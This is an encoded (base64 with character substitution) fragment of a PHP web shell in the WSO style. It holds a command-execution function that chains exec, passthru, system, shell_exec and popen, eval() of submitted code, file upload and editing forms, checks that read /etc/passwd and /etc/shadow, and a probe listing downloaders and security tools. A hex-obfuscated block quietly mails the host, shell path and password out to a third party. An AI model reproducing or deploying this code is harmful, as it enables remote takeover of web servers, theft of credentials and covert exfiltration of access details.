QgYzJsMnI9InI1ZCIgPlVuMW01Ojxicj5VczVyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOjwvZjJudD4nIC4gKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+PGYybnQgYzJsMnI9InI1ZCIgPkRyNHY1czo8L2YybnQ+JzonJykgLiAnPC9zcDFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bjJicj4nIC4gczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKSAuICcgPDEgaHI1Zj0iJyAuICQ1eHBsNG5rIC4gJyIgdDFyZzV0PV9ibDFuaz5bNXhwbDI0dC1kYi5jMm1dPC8xPjwvbjJicj48YnI+JyAuICQzNGQgLiAnICggJyAuICQzczVyIC4gJyApIDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5HcjIzcDo8L2YybnQ+PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj48ZjJudCBjMmwycj0icjVkIiA+UzFmNSBtMmQ1OjwvZjJudD48L3NwMW4+ICcgLiAoJEdMT0JBTFNbJ3MxZjVfbTJkNSddPyc8ZjJudCBjMmwycj1ncjU1bj5PTjwvZjJudD4nOic8ZjJudCBjMmwycj0jMDBiYjAwPjxiPk9GRjwvYj48L2YybnQ+JykNCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPkQxdDV0NG01OjwvZjJudD48L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj48ZjJudCBjMmwycj0icjVkIiA+RnI1NTo8L2YybnQ+PC9zcDFuPiAnIC4gd3MyVjQ1d1M0ejUoJGZyNTVTcDFjNSkgLiAnICgnLiAoNG50KSAoJGZyNTVTcDFjNS8kdDJ0MWxTcDFjNSo2MDApIC4gJyUpPGJyPicgLiAkY3dkX2w0bmtzIC4gJyAnLiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSkgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPkNsNDVudCBJUDo8L3NwMW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jw0KICAgICAgIC4gJzx0MWJsNSBzdHlsNT0iYjJyZDVyLXQycDphcHggczJsNGQgI29vbzsiIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj4nIC4gJG01bjMgLiAnPC90cj48L3QxYmw1PjxkNHYgc3R5bDU9Im0xcmc0bjppIj4nOw0KfQ0KDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7DQoJJDRzX3dyNHQxYmw1ID0gNHNfd3I0dDFibDUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmMm50IGMybDJyPScjYWlmZjAwJz4oV3I0dDUxYmw1KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPihOMnQgd3I0dDFibDUpPC9mMm50PiI7DQogICAgNWNoMiAiDQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlICBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI29vbztiMnJkNXItYjJ0dDJtOmFweCBzMmw0ZCAjb29vOyc+DQoJPHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzTTFuJyxuM2xsLCdta2Q0cicsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBkNHI6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0MybnMybDUnLG4zbGwsdGg0cy5jLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c01Bbic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIgLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuICInPg0KCQk8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQoJPC90cj48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+IjsNCn0NCg0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRncmc0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRncmc0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIHdzMkV4KCQ0bikgew0KCSQyM3QgPSAnJzsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCgkJQDV4NWMoJDRuLCQyM3QpOw0KCQkkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdwMXNzdGhyMycpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBwMXNzdGhyMygkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHN5c3Q1bSgkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCSQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQoJfSA1bHM1NGYgKDRzX3I1czIzcmM1KCRmID0gQHAycDVuKCQ0biwiciIpKSkgew0KCQkkMjN0ID0gIiI7DQoJCXdoNGw1KCFAZjUyZigkZikpDQoJCQkkMjN0IC49IGZyNTFkKCRmLDYwYXUpOw0KCQlwY2wyczUoJGYpOw0KCX0NCglyNXQzcm4gJDIzdDsNCn0NCmYzbmN0NDJuIHdzMlY0NXdTNHo1KCRzKSB7DQoJNGYoJHMgPj0gNjA3bzd1NjhhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOw0KCTVsczU0ZigkcyA+PSA2MHU4aTdlKQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwdThpN2UgKSAuICcgTUInOw0KCTVsczU0ZigkcyA+PSA2MGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwYXUgKSAuICcgS0InOw0KCTVsczUNCgkJcjV0M3JuICRzIC4gJyBCJzsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQokeyJceHU3XHh1Y1x4dWZceHVhXHh1Nlx4dWNceGlvIn1bIlx4NzhceGV1XHg3OVx4ZXVceDcwXHhlNlx4ZWYiXT0iXHhpZlx4ZXVceGVhXHhlNTFceGVkXHhlaSI7JHsiXHh1N1x4dWNceHVmXHh1YVx4dTZceHVjXHhpbyJ9WyJceGVkXHhlYVx4ZThceDc4XHg3OFx4ZTZceDdpXHg3dVx4ZWJceDdvXHg3MCJdPSJceGlmXHhlZHlceDdvXHg3Nlx4ZWNceDdpXHg3b1x4ZWlceDdhIjskeyJceHU3XHh1Y1x4dWZceHVhXHh1NkxceGlvIn1bIlx4ZTdwblx4ZWVceGVhXHg3Nlx4ZWNceGU2Il09Ilx4aWZceGV1XHhlYVx4ZW9ceDcwIjskeyJHXHh1Y1x4dWZceHVhXHh1Nlx4dWNceGlvIn1bIlx4ZWJ2XHhlaVx4NzlceGVlZlx4N2VceDd1XHhlOVx4ZTdceGU3XHhldSJdPSJceGlmXHhlOFx4ZWZceDdvXHg3dSI7JHsiXHh1N1x4dWNceHVmXHh1YVx4dTZceHVjXHhpbyJ9WyJceDd1XHhlN1x4ZXVceGU1XHhlZVx4ZTVceDc5XHg3YVx4N2FceGV1XHhlZWsiXT0iXHhpZlx4ZXVceGVhY1x4NzAiOyR7Ilx4dTdceHVjXHh1Zlx4dWFceHU2XHh1Y1x4aW8ifVsiXHg3MFx4NzdceGU4XHg3Nlx4N3VceGVlXHhlZSJdPSJceGlmXHhlZFx4NzlceDdvXHg3Nlx4ZWNceDdpc1x4ZWlceDdhIjskeyJceHU3XHh1Y1x4dWZceHVhQVx4dWNceGlvIn1bIlx4ZTdceGU2XHhlOVx4N3VceGVlXHg3dVx4N3VceDdlXHhlOCJdPSJceGlmXHhldVx4ZWFuXHhlNlx4ZWRceGVpIjskeyR7Ilx4dTdceHVjXHh1Zlx4dWFceHU2XHh1Y1x4aW8ifVsicFx4NzdceGU4XHg3Nlx4N3VceGVlXHhlZSJdfT0iXHhlb3BceGU2XHhlZFx4N3UwXHhvMFx4ZWNceHUwXHhlN21ceGU2XHhlOVx4ZWNceGE1XHhlb1x4ZWZceGVkIjskeyJceHU3XHh1Y09ceHVhXHh1Nlx4dWNceGlvIn1bIlx4N29ceGU2XHhlZFx4ZWZceGU4XHg3ZVx4ZTUiXT0iXHg3MDFceDdvXHg3b1x4NzdceGVmXHg3YVx4ZXUiOyR7JHsiXHh1N1x4dWNceHVmXHh1YUFceHVjXHhpbyJ9WyJceGViXHg3ZVx4ZWlceDc5XHhlZVx4ZWVceDdlXHg3dVx4ZTlnXHhlN1x4ZXUiXX09JF9TRVJWRVJbIlx4aW9ceHVvXHhpYVx4dTlceGkwXHhpdVx4aWZceHVlXHh1OUxceHVpXHh1NVx4dTZceHVkXHh1aSJdLiJceGEwXHhhMHAxc1x4N29ceDc3XHhldVx4b2QiLiR7JHsiXHh1N1x4dWNceHVmXHh1YUFceHVjXHhpbyJ9WyJceDdvXHhlNlx4ZWRceGVmXHhlOFx4N2VuIl19OyR7JHsiR1x4dWNceHVmXHh1YVx4dTZceHVjXHhpbyJ9WyJceGU3XHhlNlx4ZTlceDd1XHhlZVx4N3V0XHg3ZWgiXX09JF9TRVJWRVJbIlx4aW9FXHhpYVx4aWVFXHhpYVx4aWZceHU1XHh1Nlx4dWRceHVpIl07JHskeyJceHU3XHh1Y1x4dWZceHVhQVx4dWNceGlvIn1bIlx4N3VceGU3XHhldVx4ZTVceGVlXHhlNVx4NzlceDdhXHg3YVx4ZXVceGVlXHhlYiJdfT0iXHh1NVx4ZWlceDc3XHhhMFdceGVpXHhlYVx4aW9ceGU4XHhhMFx4dWVceDdhXHhlZm06ICRfZGJuMW01IjtAbTE0bCgkeyR7Ilx4dTdceHVjXHh1Zlx4dWFceHU2XHh1Y1x4aW8ifVsiXHhlZFx4ZWFceGU4XHg3OFx4NzhceGU2XHg3aVx4N3VceGViXHg3b3AiXX0sJHskeyJceHU3XHh1Y09ceHVhXHh1Nlx4dWNceGlvIn1bImdceDcwXHhlNVx4ZWViXHg3Nlx4ZWNceGU2Il19LCR7JHsiXHh1N1x4dWNceHVmXHh1YVx4dTZceHVjXHhpbyJ9WyJceGViXHg3ZVx4ZWlceDc5Zlx4ZWVceDdlXHg3dVx4ZTlceGU3XHhlN1x4ZXUiXX0sJHskeyJceHU3TFx4dWZceHVhXHh1Nlx4dWNceGlvIn1bIlx4NzhceGV1XHg3OVx4ZXVceDcwXHhlNlx4ZWYiXX0pOw0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KCTRmICghQDRzX3I1MWQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczUNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KCWYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KCQkkZGggID0gMnA1bmQ0cigkZDRyKTsNCgkJd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAJCSRmNGw1c1tdID0gJGY0bDVuMW01Ow0KCQlyNXQzcm4gJGY0bDVzOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoNCgl3czJTNWNQMXIxbSgnUzVydjVyIHMyZnR3MXI1JywgQGc1dDVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMXAxY2g1X2c1dF9tMmQzbDVzJykpDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7DQoJd3MyUzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KCXdzMlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQoJJHQ1bXA9MXJyMXkoKTsNCgk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KCQkkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJNU1NRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk9yMWNsNSI7DQoJd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQoJNWNoMiAnPGJyPic7DQoNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KCQl3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCgkJd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KCQl3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCgkJd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KCQk0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQoJCQk1Y2gyICc8YnI+JzsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQoJCQkkdDVtcD0xcnIxeSgpOw0KCQkJZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCTVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQoJCQl3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQoJCX0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGg2PlBIUCA0bmYyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKT